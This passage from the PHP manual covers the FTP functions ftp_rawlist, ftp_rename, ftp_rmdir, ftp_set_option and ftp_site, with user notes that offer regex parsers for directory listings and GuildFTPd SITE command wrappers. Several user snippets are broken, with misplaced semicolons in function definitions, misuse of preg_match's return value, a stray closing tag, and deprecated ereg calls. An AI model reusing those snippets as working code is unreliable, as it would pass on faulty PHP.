           $tmp_array['rights'] = $regs[1];
           $tmp_array['number'] = $regs[2];
           $tmp_array['user'] = $regs[3];
           $tmp_array['group'] = $regs[4];
           $tmp_array['size'] = $regs[5];
           $tmp_array['date'] = date("m-d",strtotime($regs[6]));
           $tmp_array['time'] = $regs[7];
           $tmp_array['name'] = $regs[9];
       }
       $dir_list[] = $tmp_array;
   }
   return $dir_list;
}
$buff = ftp_rawlist($cid, "/");
$items = itemize_dir($buff);

?>
greg at upsdn dot net 19-Dec-2004 11:58
list all (including hidden files and dirs):
<?php
  $contents = ftp_rawlist($conn_id, "-al ".$dir_name);
?>

just as ftp command:
LIST al

"-aF " is equal to '-al', please refer to "ls --help"
greg at upsdn dot net 25-Nov-2004 10:55
The previous regular expression(by Jonathan Almarez,ergye at yahoo dot com and guru at virusas dot lt) is very good.But i found it does not  take into account for directories(number>9)

Change [0-9] to [0-9]*

The code below not only parses:
drwxrwxr-x     9 msik     ia           4096 Nov  5 14:19 Group3

It also parses:
drwxrwxr-x   19 msik     ia           4096 Nov  5 14:19 Group3
3
drwxrwxr-x   119 msik     ia           4096 Nov  5 14:19 Group3
3

0 = file
1 = directory
2 = simlink
<?php

function itemize_dir($contents) {
   foreach ($contents as $file) {
       if(ereg("([-dl][rwxst-]+).* ([0-9]*) ([a-zA-Z0-9]+).* ([a-zA-Z0-9]+).* ([0-9]*) ([a-zA-Z]+[0-9: ]*[0-9])[ ]+(([0-9]{2}:[0-9]{2})|[0-9]{4}) (.+)", $file, $regs)) {
           $type = (int) strpos("-dl", $regs[1]{0});
           $tmp_array['line'] = $regs[0];
           $tmp_array['type'] = $type;
           $tmp_array['rights'] = $regs[1];
           $tmp_array['number'] = $regs[2];
           $tmp_array['user'] = $regs[3];
           $tmp_array['group'] = $regs[4];
           $tmp_array['size'] = $regs[5];
           $tmp_array['date'] = date("m-d",strtotime($regs[6]));
           $tmp_array['time'] = $regs[7];
           $tmp_array['name'] = $regs[9];
       }
       $dir_list[] = $tmp_array;
   }
   return $dir_list;
}
$buff = ftp_rawlist($cid, "/");
$items = itemize_dir($buff);

?>
Jonathan Almarez 24-Nov-2004 03:16
To make the latest correction to the parsing code:

"ergye at yahoo dot com" dosen't take into account for files or directories that are older than a year where instead of showing the time, it shows the year.

The code below not only parses:
drwxrwxr-x   2 503      503          4096 Dec  3 12:12 CVAR

It also parses:
drwxrwxr-x   2 503      503          4096 Dec  3  2003 CVAR

0 = file
1 = directory
2 = simlink
<?php

function itemize_dir($contents) {
   foreach ($contents as $file) {
       if(ereg("([-dl][rwxst-]+).* ([0-9]) ([a-zA-Z0-9]+).* ([a-zA-Z0-9]+).* ([0-9]*) ([a-zA-Z]+[0-9: ]*[0-9])[ ]+(([0-9]{2}:[0-9]{2})|[0-9]{4}) (.+)", $file, $regs)) {
           $type = (int) strpos("-dl", $regs[1]{0});
           $tmp_array['line'] = $regs[0];
           $tmp_array['type'] = $type;
           $tmp_array['rights'] = $regs[1];
           $tmp_array['number'] = $regs[2];
           $tmp_array['user'] = $regs[3];
           $tmp_array['group'] = $regs[4];
           $tmp_array['size'] = $regs[5];
           $tmp_array['date'] = date("m-d",strtotime($regs[6]));
           $tmp_array['time'] = $regs[7];
           $tmp_array['name'] = $regs[9];
       }
       $dir_list[] = $tmp_array;
   }
   return $dir_list;
}
$buff = ftp_rawlist($cid, "/");
$items = itemize_dir($buff);

?>
22-Oct-2004 07:53
Note that there is no standard for the format, therefore don't be suprised when parsing routines for this work perfectly on some servers, and fail horribly on some.
ergye at yahoo dot com 29-Sep-2004 09:52
The previous regular expression is super, but does not take simlinks into account. Change [-d] to [-dl] and instead of indicating directories we should indicate the type of the items:

0 = file
1 = directory
2 = simlink

<?php

function itemize_dir($contents) {
    foreach ($contents as $file) {
        if(ereg("([-dl][rwxst-]+).* ([0-9]) ([a-zA-Z0-9]+).* ([a-zA-Z0-9]+).* ([0-9]*) ([a-zA-Z]+[0-9: ]*[0-9]) ([0-9]{2}:[0-9]{2}) (.+)", $file, $regs)) {
            $type = (int) strpos("-dl", $regs[1]{0});
            $tmp_array['line'] = $regs[0];
            $tmp_array['type'] = $type;
            $tmp_array['rights'] = $regs[1];
            $tmp_array['number'] = $regs[2];
            $tmp_array['user'] = $regs[3];
            $tmp_array['group'] = $regs[4];
            $tmp_array['size'] = $regs[5];
            $tmp_array['date'] = date("m-d",strtotime($regs[6]));
            $tmp_array['time'] = $regs[7];
            $tmp_array['name'] = $regs[8];
        }
        $dir_list[] = $tmp_array;
    }
    return $dir_list;
}

$buff = ftp_rawlist($cid, "/");
$items = itemize_dir($buff);

?>
guru at virusas dot lt 03-Sep-2004 03:31
Lets say only one of these scripts can accept filenames with spaces, but that script doesn't return all info that we may need, so i have modified a little bit one of my script and added some more regexp from here:

<?

$buff = ftp_rawlist($cid,"/");
foreach ($buff as $file)
{
      if(ereg("([-d][rwxst-]+).* ([0-9]) ([a-zA-Z0-9]+).* ([a-zA-Z0-9]+).* ([0-9]*) ([a-zA-Z]+[0-9: ]*[0-9]) ([0-9]{2}:[0-9]{2}) (.+)",$file,$regs))
    {
        if(substr($regs[1],0,1)=="d") $isdir=1; else $isdir=0;
        $tmp_array['line']=$regs[0];
        $tmp_array['isdir']=$isdir;
        $tmp_array['rights']=$regs[1];
        $tmp_array['number']=$regs[2];
        $tmp_array['user']=$regs[3];
        $tmp_array['group']=$regs[4];
        $tmp_array['size']=$regs[5];
        $tmp_array['date']=date("m-d",strtotime($regs[6]));
        $tmp_array['time']=$regs[7];
        $tmp_array['name']=$regs[8];
     }
    $dir_list[]=$tmp_array;
}

?>

The result is smth like that:

  8 =>
    array
      'line' => '-rw-r--r--   1 guru     users           4 Sep  3 09:41 testas testas testas.txt'
      'isdir' => 0
      'rights' => '-rw-r--r--'
      'number' => '1'
      'user' => 'guru'
      'group' => 'users'
      'size' => '4'
      'date' => '09-03'
      'time' => '09:41'
      'name' => 'testas testas testas.txt'
  9 =>
    array
      'line' => 'drwxr-xr-x   3 guru     users        4096 Aug 20 08:54 upload'
      'isdir' => 1
      'rights' => 'drwxr-xr-x'
      'number' => '3'
      'user' => 'guru'
      'group' => 'users'
      'size' => '4096'
      'date' => '08-20'
      'time' => '08:54'
      'name' => 'upload'

Home this will help someone
eros at speedy dot com dot ar 01-Sep-2004 02:06
NO, NO, NO.

The above examples are all wrong, the spaces given in array are not there "just because", its just a tabbed structure. In php we don't have structures like in c/cpp, but the following function will do the job.

<?php

function parse_rawlist( $array ) {

    for ( $i = 1; $i < count($array); $i++ ) {

        $current = $array[$i];

        $structure[$i]['perms']  = substr($current, 0, 10);
        $structure[$i]['number'] = trim(substr($current, 11, 3));
        $structure[$i]['owner']  = trim(substr($current, 15, 8));
        $structure[$i]['group']  = trim(substr($current, 24, 8));
        $structure[$i]['size']   = trim(substr($current, 33, 8));
        $structure[$i]['month']  = trim(substr($current, 42, 3));
        $structure[$i]['day']    = trim(substr($current, 46, 2));
        $structure[$i]['time']   = substr($current, 49, 5);
        $structure[$i]['name']   = substr($current, 55, strlen($current) - 55);

    }

    return $structure;

}

?>
soon7 at wanadoo dot fr 14-Jul-2004 02:17
Hi all !
ther is a litlle mistake in the naivesong 's message .
Indeed , you stop to parse too early ...
I tried and fix it like this :
<?
// getting the list
  $list = ftp_rawlist ($ftp_stream, $ftp_directory);
   $folders = array();
   $files = array();
   $links = array();
   for ($i=0; $i<count($list); $i++)
   {
        //----convert tabs to blanks
        //----delete multiple blanks
// Here begin my modifications
list ($permissions, $list[$i]) = parsenext ($list[$i]);
     list ($number, $list[$i]) = parsenext ($list[$i]);
     list ($owner, $list[$i]) = parsenext ($list[$i]);
     list ($group, $list[$i]) = parsenext ($list[$i]);
     list ($size, $list[$i]) = parsenext ($list[$i]);
     list ($timeMonth,$list[$i]) = parsenext ($list[$i]);
     list ($timeDay,$list[$i]) = parsenext ($list[$i]);
     list ($timeTime,$list[$i]) = parsenext ($list[$i]);
     $filename=$list[$i];
// by taking $filename in last position , it works even if there is some space in its name
//then we put it in the m array with the new things
//----ok, put all this into the related array
if ($filename != "." && $filename != "..")
     {
       $m = array();
       $m["name"] = $filename;
       $m["link"] = $filelink;
       $m["size"] = afficherPoidsFichier($size);
       $m["month"] = $timeMonth;
       $m["day"] = $timeDay;
       $m["time"] = $timeTime;
       $m["owner"] = $owner;
       $m["group"] = $group;
       $m["permissions"] = $permissions;
       if (substr($permissions, 0, 1) == "d")
         $folders[count($folders)] = $m;
       else if (substr($permissions, 0, 1) == "l")
         $links[count($files)] = $m;
       else
         $files[count($files)] = $m;
     }
   }
// you can sort $folders , $files , $links after if u want
// afficherPoidsFichier($size) is a little function i found in this site at filesize() , works good !
// Just give the good size
function afficherPoidsFichier($size) {
  $sizes = Array('o', 'Ko', 'Mo', 'Go');
  $ext = $sizes[0];
  for ($i=1; (($i < count($sizes)) && ($size >= 1024)); $i++) {
   $size = $size / 1024;
   $ext  = $sizes[$i];
  }
  return round($size, 2).' '.$ext;
}
?>
naivesong at matiasmoreno dot com dot ar 25-Mar-2004 08:53
I'm afraid I forgot the "parsenext" function in my previous note. Here it is:

<?php

    function parsenext ($s)
    {
      $k = strpos ($s, " ");
      $m = array();
      $m[0] = substr($s, 0, $k);
      $m[1] = substr($s, $k+1);
      return $m;
    }

?>
naivesong at matiasmoreno dot com dot ar 24-Mar-2004 10:41
This script will properly handle FTP servers where the returned date/time differs from the generic mm-dd-YYYY hh:mm:ss format:

<?php

    $list = ftp_rawlist ($ftp_stream, $ftp_directory);

    $folders = array();
    $files = array();
    $links = array();
    for ($i=0; $i<count($list); $i++)
    {
      //----convert tabs to blanks
      $list[$i] = str_replace ("\t", " ", $list[$i]);
      //----delete multiple blanks
      while (($k = strpos($list[$i], "  ")) !== FALSE)
        $list[$i] = substr($list[$i],0,$k+1).trim(substr($list[$i],$k));
      //----split link reference from filename where available
      if (($k = strpos($list[$i], " -> ")) !== FALSE)
      {
        $filelink = substr($list[$i], $k+4);
        $list[$i] = substr($list[$i], 0, $k);
      }
      else
        $filelink = "";
      //----parse filename
      $k = strrpos($list[$i], " ");
      $filename = substr($list[$i], $k+1);
      $list[$i] = substr($list[$i], 0, $k);
      //----parse the rest of info
      list ($permissions, $list[$i]) = parsenext ($list[$i]);
      list ($number, $list[$i]) = parsenext ($list[$i]);
      list ($owner, $list[$i]) = parsenext ($list[$i]);
      list ($group, $list[$i]) = parsenext ($list[$i]);
      list ($size, $time) = parsenext ($list[$i]);
      //----ok, put all this into the related array
      if ($filename != "." && $filename != "..")
      {
        $m = array();
        $m["name"] = $filename;
        $m["link"] = $filelink;
        $m["size"] = $size;
        $m["time"] = $time;
        $m["owner"] = $owner;
        $m["group"] = $group;
        $m["permissions"] = $permissions;
        if (substr($permissions, 0, 1) == "d")
          $folders[count($folders)] = $m;
        else if (substr($permissions, 0, 1) == "l")
          $links[count($files)] = $m;
        else
          $files[count($files)] = $m;
      }
    }
    sort ($folders);
    sort ($files);
    sort ($links);

?>

This script works fine on any raw list that complies with the following format:

permissions number owner group size time name [" -> " link_to]

where time may have whatever format the FTP server wants. ;-)

It also returns folders, files and links in separated sorted lists (got this idea from the note of "postmaster at alishomepage dot com" in this help page).
josh at snaphat dot com 29-Jan-2004 07:23
I fixed jmv AT jmvware DOT com's script:
<?php

$dirline=ereg_replace(" +",' ',$dirline);
$isdir=0;
if (ereg('^d',$dirline)) $isdir=1;
list($permissions,$num,$owner,$group
,$size,$month,$day,$year_time,$name)=split(' ',$dirline);

//added the next lines:
$fix=explode(' ',$dirline);
$fixsize=count($fix);
 if($fixsize > 8)
 {
  for($start=9;$start<$fixsize;$start++)
  {
   $name.=" " . $fix[$start];
  }
 }
?>
06-Jan-2004 03:40
If you write
<?php
rawlist ($ftp, "-a");
?>
The command will be "LIST -a", so the retuned list will also contain hidden files like ".htaccess".

In this case all files and folders of the current directory are contained.
To list another folder, you must change to it with "ftp_chdir".
moonglobe3739 [ A t ] hotmail .com 01-Nov-2003 04:16
hope this helps someone:
<?php
$list = ftp_rawlist($ftp_stream,$dir);
$dirc = array();
foreach ($list as $file)
{
    list($perms,$owner,$group,$size,$mtime,$fname) =
    preg_match('#^([bcdlsp-][rwxtTsS-]{9})\s+(?:[0-9]+)\s+'.
               '([a-zA-Z]+)\s+([a-zA-Z]+)\s+([0-9]+)\s+'.
               '([A-Z][a-z]+ [0-9]{1,2} [0-9]{4} [0-9]{2}:[0-9]{2}) (.*)$#',$file);
    $dirc[$fname]['permissions'] = $perms;
    $dirc[$fname]['owner']       = $owner;
    $dirc[$fname]['group']       = $group;
    $dirc[$fname]['size']        = $size;
    $dirc[$fname]['modtime']     = $mtime;
}
?>
postmaster at alishomepage dot com 19-Oct-2003 05:39
Here we go for a 100% working code... :D

<?

[code]

function cutspaces($str){
    while(substr($str,0,1)==" "){$str=substr($str,1);}
    return $str;}

[code]

$folders=array();
$files=array();
for($i=0;$i<sizeof($list);$i++){
    list($permissions,$next)=split(" ",$list[$i],2);
    list($num,$next)=split(" ",cutspaces($next),2);
    list($owner,$next)=split(" ",cutspaces($next),2);
    list($group,$next)=split(" ",cutspaces($next),2);
    list($size,$next)=split(" ",cutspaces($next),2);
    list($month,$next)=split(" ",cutspaces($next),2);
    list($day,$next)=split(" ",cutspaces($next),2);
    list($year_time,$filename)=split(" ",cutspaces($next),2);
    if($filename!="." && $filename!=".."){
        if(substr($permissions,0,1)=="d"){
            $folders[]=$filename;
        } else {
            $files[]=$filename;}}}
sort($folders);
sort($files);

[code]

?>

so this will simply "get" all the information WITHOUT being in any case interfered with some spaces, ... etc etc... It will even put files in a $files array and folders in a $folders array, and sort them, so you will be able of using all this later

and: the "folders" will NOT contain "." and ".." ;)

so you can use all this to make a beautiful FTP interface... later on you could for example put permissions and etc etc in other arrays to use them in your result... cute....
postmaster at alishomepage dot com 19-Oct-2003 05:05
Another "formula" for decoding the rawlist: the ide is that normaly a "ls" contains info like below:

<file rights> <number> <owner> <group> <date> <time> <filename>

and: the "time" contains a ":" (which is NOT contained in any of the other infos -if we reversely read the array)

and, in the case the "time" would not exist, i have done a "protection script" that would try to find out using the year... Yet that may NOT always work since a user name or group name MAY contain an item like "1999" etc... (and i did not check the date format reversely -on the filename first- since a probability of presence is higher of a date is MUCH higher in a filename)

So here we go:

<?

[... code ...]

$fnTest=array("198","199","200","201","202");

[... code ...]

$j=0;
$strrpos=strrpos($list[$i],":");
while($strrpos==0){
    $strrpos=strpos($list[$i],$fnTest[$j]);
    $j++;}
if($j){
    $strrpos+=2+strlen($fnTest[$j]);
}else{
    $strrpos+=4;}
$elmt=substr($list[$i],$strrpos);

[... code ...]

?>

and $elmt would *normally* contain the info we want... but i'm still working on it!
Svenne Burner 01-Aug-2003 06:12
If you want to use explode, for all files in a dir, or something..

Use:

$rawlist[$i][$x] = ereg_replace( "([\x20]+)", "\x20", $rawlist[$i][$x]);

/*
$rawlist[$i][$x] = explode("\x20", $rawlist[$i][$x]);

echo $rawlist[$i][$x][$k] . "<br>";
*/

Why?:
The output prints a different amount of spaces.
jmv AT jmvware DOT com 14-May-2003 02:27
Seems it doesn't have to be so complicated:

$dirline=ereg_replace(" +",' ',$dirline);
$isdir=0;
if (ereg('^d',$dirline)) $isdir=1;
list($permissions,$num,$owner,$group
,$size,$month,$day,$year_time,$name)=split(' ',$dirline);
murasame at danzers dot org 02-Jun-2002 06:11
I tweaked the regexp above and used it like this in a for-loop:

...
ereg("([-d])([rwxst-]{9}).* ([0-9]*) ([a-zA-Z]+[0-9: ]* [0-9]{2}:?[0-9]{2}) (.+)", $raw[$i], $regs)

$out[] = array("is_dir" =>
  ($regs[1] == "d") ? true : false,
 "mod" => $regs[2],
 "size" => $regs[3],
 "time" => $regs[4],
 "name" => $regs[5],
 "raw" => $regs[0]);
...

the previous version couldn't handle old dates which are in format 'M d Y' instead of 'M d H:i' correctly
maikdemaSPAM at yahooMAPS dot com 28-Mar-2002 03:27
L8 ereg mask (directory?, size, name):

ereg("([-d])[rwxst-]{9}.* ([0-9]*) [a-zA-Z]+ [0-9: ]*[0-9]
(.+)",$dirline,$regs);

I've tried this, and it works fine if the name of the file has not a number in the first letter. for example, if I have a file named "1file.exe", it shows "file.exe"; and if I've a file named "010102.exe" it shows ".exe" only.
I've improved it by doing this:

if(ereg("([-d])[rwxst-]{9}.* ([0-9]*) ([a-zA-Z]+[0-9: ]*[0-9]) ([0-9]{2}:[0-9]{2}) (.+)",$dirline,$regs))
{
            if($regs[1]=="d") $dirinfo[0] = 1;
            $dirinfo[1] = $regs[2];
            $dirinfo[2] = $regs[3];
            $dirinfo[3] = $regs[4];
            $dirinfo[4] = $regs[5];
}
$dirinfo[0] => is a directory? (1=yes)
$dirinfo[1] => file size
$dirinfo[2] => file date
$dirinfo[3] => file time
$dirinfo[4] => file name

and now works with all filename formats!
ryan at wonko dot com 20-Mar-2002 07:32
[[ Editors note: Seems it was fixed in PHP 4.3.0 ]]
A note to developers using PHP on Windows servers: as of PHP 4.1.2, ftp_rawlist() is broken in the Windows build of PHP. It will return nothing at all, even if the same code works fine on UNIX. So if you're going crazy trying to figure out why the function isn't returning anything, stop wasting your time, you're not doing anything wrong. Hopefully this will get fixed in future versions, although it's apparently been an issue since at least 4.0.6.

More info on this bug is at http://bugs.php.net/bug.php?id=16057
cialdi at firenze dot net 29-Jun-2001 09:24
the second parameter accepts also standard arguments of /bin/ls command like "-l" or "-t"
php at smintman dot com 26-May-2001 06:35
An example script for rekursiv directory analysis ... interesting are the ereg functions for spliting the content based on the system type...
 (http://beben.lanparty.de/smint/ftp_rekdiranalys.phps)

<?php
function analysedir($dirline)
{
    global $systyp,$ftp_server,$stop;

    if(ereg("([-dl])[rwxst-]{9}",substr($dirline,0,10))) {
        $systyp = "UNIX";
    }

    if(substr($dirline,0,5) == "total") {
        $dirinfo[0] = -1;
    } elseif($systyp=="Windows_NT") {
        if(ereg("[-0-9]+ *[0-9:]+[PA]?M? +<DIR> {10}(.*)",$dirline,$regs)) {
            $dirinfo[0] = 1;
            $dirinfo[1] = 0;
            $dirinfo[2] = $regs[1];
        } elseif(ereg("[-0-9]+ *[0-9:]+[PA]?M? +([0-9]+) (.*)",$dirline,$regs)) {
            $dirinfo[0] = 0;
            $dirinfo[1] = $regs[1];
            $dirinfo[2] = $regs[2];
        }
    } elseif($systyp=="UNIX") {
        if(ereg("([-d])[rwxst-]{9}.* ([0-9]*) [a-zA-Z]+ [0-9: ]*[0-9] (.+)",$dirline,$regs)) {
            if($regs[1]=="d")    $dirinfo[0] = 1;
?>
            $dirinfo[1] = $regs[2];
            $dirinfo[2] = $regs[3];
        }
    }

    if(($dirinfo[2]==".")||($dirinfo[2]=="..")) $dirinfo[0]=0;

    // array -> 0 = switch, directory or not
    // array -> 1 = filesize (if dir =0)
    // array -> 2 = filename or dirname

    return $dirinfo;
}

function rekdir($dir)
{
    global $conn_id,$filetyps,$exectyps,$ftp_server,$banlist,$size,$ssize;

    echo "<b>$dir</b><br>";

    $dirlist = ftp_rawlist($conn_id,"");

    for($i=0;$i<count($dirlist);$i++) {
        $dirinfo = analysedir($dirlist[$i]);

        if($dirinfo[0]==1) {
            $newdir = "$dir/$dirinfo[2]";

            if(($dirinfo[2]=="~")||(substr($dirinfo[2],0,1)==" "))
                $chdir=ftp_chdir($conn_id,$newdir);
            else    $chdir=ftp_chdir($conn_id,$dirinfo[2]);

            $stop = 0;
//            for($k=0;($k<count($banlist))&&(!$stop);$k++) {
//                if(strpos($newdir,$banlist[$k])!=0) $stop=1;
//            }

            if(!$stop && $chdir) {
                rekdir($newdir);
            }

            if(!ftp_chdir($conn_id,$dir))    ftp_cdup($conn_id);
        } elseif($dirinfo[0]==0) {
            echo "$dirinfo[2]<br>";

            $size += $dirinfo[1];
        }

    }

}

$conn_id = ftp_connect($ftp_server);
$login_result = @ftp_login($conn_id, $user, $password);

if ($login_result) {
    $real_systyp = ftp_systype($conn_id);
    $systyp = $real_systyp;
    echo "scanning... $systyp<br>";

    rekdir("");

    ftp_quit($conn_id);
}
ftp_raw
ftp_rename
FTP Functions


Renames a file or a directory on the FTP server

ftp_rawlist
ftp_rmdir
FTP Functions
PHP Manual

ftp_rename

(PHP 4, PHP 5)

ftp_rename — Renames a file or a directory on the FTP server

Description

bool ftp_rename ( resource $ftp_stream , string $oldname , string $newname )

ftp_rename() renames a file or a directory on the FTP server.

Parameters

ftp_stream

The link identifier of the FTP connection.

oldname

The old file/directory name.

newname

The new name.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 ftp_rename() example

<?php
$old_file = 'somefile.txt.bak';
$new_file = 'somefile.txt';

// set up basic connection
$conn_id = ftp_connect($ftp_server);

// login with username and password
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

// try to rename $old_file to $new_file
if (ftp_rename($conn_id, $old_file, $new_file)) {
 echo "successfully renamed $old_file to $new_file\n";
} else {
 echo "There was a problem while renaming $old_file to $new_file\n";
}

// close the connection
ftp_close($conn_id);
?>

User Contributed Notes

alishahnovin at hotmail dot com 11-Dec-2007 07:25
You want to make sure you check the existence of the new name before renaming files, because otherwise you could risk losing files. Just do a simple check with ftp_size with the new name. If it's !=-1, you're going to want to throw some kind of error, otherwise you'll be losing a file...
aventaria at hotmxxx dot com 07-Feb-2007 04:51
This function isn't only able to rename files, but also folders. And it is not only able to rename them, but also move them, and, in the case of folders, their contents as well (so folders don't have to be empty to move). For example:

<?php
ftp_rename($conn_id, "./dir1/dir2/", "./dir3/");
?>

Now the folder dir2 (which prevously was in folder dir1) has moved to the same folder as dir1, and it has kept its original contents (the content just moved along).
Hazem dot Khaled at gmail dot com 26-Nov-2006 07:56
to rename the file or folder you should use ftp_chdir to select the current directory on ftp server or you should write the full path to file in old name and in new name

Ex. 1
<?php
// open the folder that have the file
ftp_chdir($conn_id, '/www/ftp-filemanager/');

// rename the file
ftp_rename($conn_id, 'file1.jpg', 'new_name_4_file.jpg');
?>

or write full path Ex. 2
<?
// rename the file
ftp_rename($conn_id, '/www/ftp-filemanager/file1.jpg', '/www/ftp-filemanager/new_name_4_file.jpg');
?>
Hugo locobyte at hotmail dot NO_SPAM dot com 22-Nov-2002 12:29
Using "ftp_rename" to move files to other directories on server ftp
..
...
if(ftp_rename($conn_ftp, $xfiles[$i], "./dirx/".$xfiles[$i])) {
       echo "File $xfiles[$i] moved to ./dirx";
} else {
       echo "ERROR!!!. The file could not be moved";
}
...
..
#-->>h2m,  bye
ftp_rawlist
ftp_rmdir
FTP Functions


Removes a directory

ftp_rename
ftp_set_option
FTP Functions
PHP Manual

ftp_rmdir

(PHP 4, PHP 5)

ftp_rmdir — Removes a directory

Description

bool ftp_rmdir ( resource $ftp_stream , string $directory )

Removes the specified directory on the FTP server.

Parameters

ftp_stream

The link identifier of the FTP connection.

directory

The directory to delete. This must be either an absolute or relative path to an empty directory.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 ftp_rmdir() example

<?php

$dir = 'www/';

// set up basic connection
$conn_id = ftp_connect($ftp_server);

// login with username and password
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

// try to delete the directory $dir
if (ftp_rmdir($conn_id, $dir)) {
    echo "Successfully deleted $dir\n";
} else {
    echo "There was a problem while deleting $dir\n";
}

ftp_close($conn_id);

?>

See Also

  • ftp_mkdir() - Creates a directory

User Contributed Notes

karl AT karlgroves.com 12-Aug-2011 05:18
Please note that this function, like rmdir, requires that the directory be empty.
ftp_rename
ftp_set_option
FTP Functions


Set miscellaneous runtime FTP options

ftp_rmdir
ftp_site
FTP Functions
PHP Manual

ftp_set_option

(PHP 4 >= 4.2.0, PHP 5)

ftp_set_option — Set miscellaneous runtime FTP options

Description

bool ftp_set_option ( resource $ftp_stream , int $option , mixed $value )

This function controls various runtime options for the specified FTP stream.

Parameters

ftp_stream

The link identifier of the FTP connection.

option

Currently, the following options are supported:

Supported runtime FTP options
FTP_TIMEOUT_SEC | Changes the timeout in seconds used for all network related functions. value must be an integer that is greater than 0. The default timeout is 90 seconds.
FTP_AUTOSEEK | When enabled, GET or PUT requests with a resumepos or startpos parameter will first seek to the requested position within the file. This is enabled by default.

value

This parameter depends on which option is chosen to be altered.

Return Values

Returns TRUE if the option could be set; FALSE if not. A warning message will be thrown if the option is not supported or the passed value doesn't match the expected value for the given option.

Examples

Example #1 ftp_set_option() example

<?php
// Set the network timeout to 10 seconds
ftp_set_option($conn_id, FTP_TIMEOUT_SEC, 10);
?>

See Also

  • ftp_get_option() - Retrieves various runtime behaviours of the current FTP stream

User Contributed Notes

There are no user contributed notes for this page.
ftp_rmdir
ftp_site
FTP Functions


Sends a SITE command to the server

ftp_set_option
ftp_size
FTP Functions
PHP Manual

ftp_site

(PHP 4, PHP 5)

ftp_site — Sends a SITE command to the server

Description

bool ftp_site ( resource $ftp_stream , string $command )

ftp_site() sends the given SITE command to the FTP server.

SITE commands are not standardized, and vary from server to server. They are useful for handling such things as file permissions and group membership.

Parameters

ftp_stream

The link identifier of the FTP connection.

command

The SITE command. Note that this parameter isn't escaped so there may be some issues with filenames containing spaces and other characters.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Sending a SITE command to an ftp server

<?php
// Connect to FTP server
$conn = ftp_connect('ftp.example.com');
if (!$conn) die('Unable to connect to ftp.example.com');

// Login as "user" with password "pass"
if (!ftp_login($conn, 'user', 'pass')) die('Error logging into ftp.example.com');

// Issue: "SITE CHMOD 0600 /home/user/privatefile" command to ftp server
if (ftp_site($conn, 'CHMOD 0600 /home/user/privatefile')) {
   echo "Command executed successfully.\n";
} else {
   die('Command failed.');
}
?>

See Also

  • ftp_raw() - Sends an arbitrary command to an FTP server

User Contributed Notes

www.bossftp.com 05-Nov-2008 06:30
To send a SITE command and get the result, you can try this:

<?php
function ftpsite($conn, $cmd) {
    return ftp_raw($conn, "SITE $cmd");
}
?>
Marc 05-Aug-2003 07:02
Use ftp_raw() (PHP 5+) instead of ftp_site() if you need the results of the remote command.
webmaster at beezm dot net 17-Jun-2003 11:52
I wrote some functions for an ftp server for windows called GuildFTPd.

Here they are, they are pretty much so self explanitory:
<?
function guildftpd_adduser($ftp_stream,$group,$username,$password){
    ftp_site($ftp_stream,"SITE ADDUSER $group $username $password");
}
function guildftpd_addgroup($ftp_stream,$groupname){
    ftp_site($ftp_stream,"SITE ADDGROUP $groupname");
}
function guildftpd_deluser($ftp_stream,$username){
    ftp_site($ftp_stream,"SITE DELUSER $username");
}
function guildftpd_addpath($ftp_stream,$username,$path,$vpath){
    ftp_site($ftp_stream,"SITE ADDPATH $username $path $vpath");
}
function guildftpd_delpath($ftp_stream,$username,$path,$vpath){
    ftp_site($ftp_stream,"SITE DELPATH $username $path $vpath");
}
function guildftpd_anon($ftp_stream){
    ftp_site($ftp_stream,"SITE ANON ALLOW");
}
function guildftpd_anond($ftp_stream){
    ftp_site($ftp_stream,"SITE ANON DENY");
}
function guildftpd_chpass($ftp_stream,$user,$pass){
    ftp_site($ftp_stream,"SITE CHPASS $user $pass");
}
function guildftpd_disable($ftp_stream,$user){
    ftp_site($ftp_stream,"SITE DISABLE $user");
}
function guildftpd_enable($ftp_stream,$user){
    ftp_site($ftp_stream,"SITE ENABLE $user");
}
function guildftpd_who($ftp_stream){
    $who = ftp_site($ftp_stream,"SITE WHO");
}
function guildftpd_kick($ftp_stream,$user);
    ftp_site($ftp_stream,"SITE KICK $user");
}
function guildftpd_msg($ftp_stream,$text);
    ftp_site($ftp_stream,"SITE MSG $text");
}
?>
to at mail dot isec dot pt 21-Nov-2002 05:20
Hya,
  Recently I had to work with FTP over PHP, since I didn't found any help about this topic I decided to post this here. If you need to chmod one file, I tested this on the ftp server using a ftp client and after I knew that the ftp server supported chmod I used the following commands:
$upload = ftp_put($conn_id, "/home/to/public_html/index.php", $source_file, FTP_ASCII);
$ch=@ftp_site($conn_id,"chmod 755 /home/to/public_html/index.php");

Hope this help!

Tó
daemorhedron 17-Nov-2002 05:32
I'd like to follow up with Ivan's observation there. Unless I am missing the obvious, which is entirely possible of course, this command is quite useless unless it returns the data from the SITE <foo> request.

Besides the obvious SITE HELP command, another one that would require catching the feedback would be the SITE LOCATE | SITE SEARCH commands. I completely recognize that SITE <foo> commands are indeed insanely proprietary, but the fact still remains that changing this to return the results, or at least having the option to do so (such as exec() and the like) would be vastly preferred to the current method of returning true/false values.

Thanks.
29-Jun-2001 09:36
site commands are extra-functionality provided by some ftp servers, and depend on the server :
e.g. trying "ftp> site help" (with an interactive ftp client) on a proftp server would give :

214-The following SITE extensions are recognized:
 RATIO -- show all ratios in effect
 The following SITE commands are recognized (* =>'s unimplemented).
 HELP    CHMOD
214 Direct comments to admin@ftp.blahblah.fr

while with wu-ftpd on can typically get :

214-The following SITE commands are recognized (* =>'s unimplemented).
   UMASK           GROUP           INDEX           GROUPS
   IDLE            GPASS           EXEC            CHECKMETHOD
   CHMOD           NEWER           ALIAS           CHECKSUM
   HELP            MINFO           CDPATH
214 blabla

Unfortunately, ftp_site only returns true or false. It would be nice to have a way to get the server's reply in full : ftp_site('help') return 1, which pretty much useless.

Hope that helps,

Ivan
ftp_set_option
ftp_size
FTP Functions


Returns the size of the given file

ftp_site
ftp_ssl_connect
FTP Functions
PHP Manual

ftp_size

(PHP 4, PHP 5)

ftp_size — Returns the size of the given file

Description

int ftp_size ( resource $ftp_stream , string $remote_file )

ftp_size() returns the size of the given file in bytes.

Note:

Not all servers support this feature.

Parameters

ftp_stream

The link identifier of the FTP connection.

remote_file

The remote file.

Return Values

Returns the file size on success, or -1 on error.

Examples

Example #1 ftp_size() example

<?php

$file = 'somefile.txt';

// set up basic connection
$conn_id = ftp_connect($ftp_server);

// login with username and password
